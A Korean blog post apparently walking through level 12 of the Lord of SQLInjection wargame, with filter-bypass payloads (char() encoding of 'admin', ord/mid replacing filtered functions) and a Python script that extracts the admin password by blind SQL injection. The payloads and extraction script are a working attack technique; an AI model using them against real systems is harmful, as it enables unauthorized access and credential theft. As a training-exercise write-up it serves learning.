[LOS] Load of SQLInjection 12번 풀이

2022. 10. 25. 14:25·Play/wargame

아무리 봐도 pw보단 no에 넣는게 나을듯.

이유는 pw에 넣으려면 '로 닫아주던가 해야하는데.. 필터링임

그런데 no는 숫자가 들어가서 쿼터 필요없음.

 

?no=0 or 1 in (1)

> Hello guest

먹히는 것 확인. 이제 pw에 대해서 찾아볼건데.. 우리는 admin의 pw가 필요함.

싱글쿼터가 필터링됨을 항상 인지하자.

?no=0 or length(pw) in (8) 

> Hello guest가 나올 줄 알았는데 Hello admin 출력된다. 왜지

> 이유를 알 수 없다. 누구 아시는 분 댓글좀 주십쇼...

계속 풀어보자.

no에서 substr와 ascii가 필터링. 이를 대체할 다른 함수 사용

?no=0 or ord(mid(pw,1,1)) <64 해보니 Hello guest 출력.

admin이 필요함. 싱글쿼터 없이 admin 지정 방법

> id in (char(97,100,109,105,110))

> no=0 or id in (char(97,100,109,105,110)) and ord(mid(pw,1,1)) <64

이제 코드를 작성해보자.

 

import requests

url = "https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php"
cookie = {"PHPSESSID": "session"}

def pw_find():
    length = 8
    pw = ""
    for i in range(length):
        start_num = 1
        end_num = 127
        value = 64
        while True:
            param = {
                "no": "0 or id in (char(97,100,109,105,110)) and ord(mid(pw,{},1)) in ({})".format(
                    i + 1, value
                )
            }
            print(param)
            req = requests.get(url, params=param, cookies=cookie)
            if "Hello admin" in req.text:
                pw += chr(value)
                break
            else:
                param = {
                    "no": "0 or id in (char(97,100,109,105,110)) and ord(mid(pw,{},1)) > {}".format(
                        i + 1, value
                    )
                }
                req = requests.get(url, params=param, cookies=cookie)
                if "Hello admin" in req.text:
                    start_num = value
                    value = (value + end_num) // 2
                else:
                    end_num = value
                    value = (start_num + value) // 2
    print("password: ", pw)

pw_find()

회사에서 테스트 불가능.

손수 찾아봅시다.

 

49 99 54 50 98 97 54 102

>> 1c62ba6f

1
ㅇㅋ

저작자표시 (새창열림)

'Play > wargame' 카테고리의 다른 글

[LOS] Load of SqlInjection 15번 풀이  (1) 2022.11.01
[LOS] Load of SQLInjection 13번 풀이  (0) 2022.10.28
[LOS] Load of SQLInjection 10번  (0) 2022.10.24
[LOS] Lord of SQLinjection 7번  (0) 2022.10.23
webhacking.kr 6번 - base64  (0) 2022.10.18
'Play/wargame' 카테고리의 다른 글
  • [LOS] Load of SqlInjection 15번 풀이
  • [LOS] Load of SQLInjection 13번 풀이
  • [LOS] Load of SQLInjection 10번
  • [LOS] Lord of SQLinjection 7번
병뚜
병뚜
열정!
  • 병뚜
    열려라 뚜껑
    병뚜
  • 전체
    오늘
    어제
    • all (372)
      • 일상X사랑X돈 (0)
        • 보안이슈 (114)
        • 뜨거운감자 (9)
        • 맛집 (2)
        • 혼잣말 (16)
      • 보안 (87)
        • 웹·모바일 (46)
        • 인프라 (19)
        • 리버싱 (8)
        • Security-Gym (10)
        • 리뷰 (4)
      • 프로그래밍 (66)
        • python (14)
        • java (12)
        • js (40)
      • System (47)
        • OS (14)
        • 침투 (33)
      • Play (20)
        • wargame (20)
      • 기타 (10)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    자바스크립트 상속
    커널디버깅
    정보보안
    파이썬
    혼공
    파이썬공부
    보안뉴스
    뉴스요약
    프로세스
    it이슈
    windows internals
    혼공단
    정보보안교육
    드림핵리버싱
    kisa
    공급망공격
    파이썬초보
    정보보호
    윈도우인터널스
    jwt
    리버싱
    혼자공부하는파이썬
    랜섬웨어
    혼공학습단
    파이썬입문
    악성코드
    혼공파
    리버싱초보
    보안이슈
    IT뉴스
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
병뚜
[LOS] Load of SQLInjection 12번 풀이
상단으로

티스토리툴바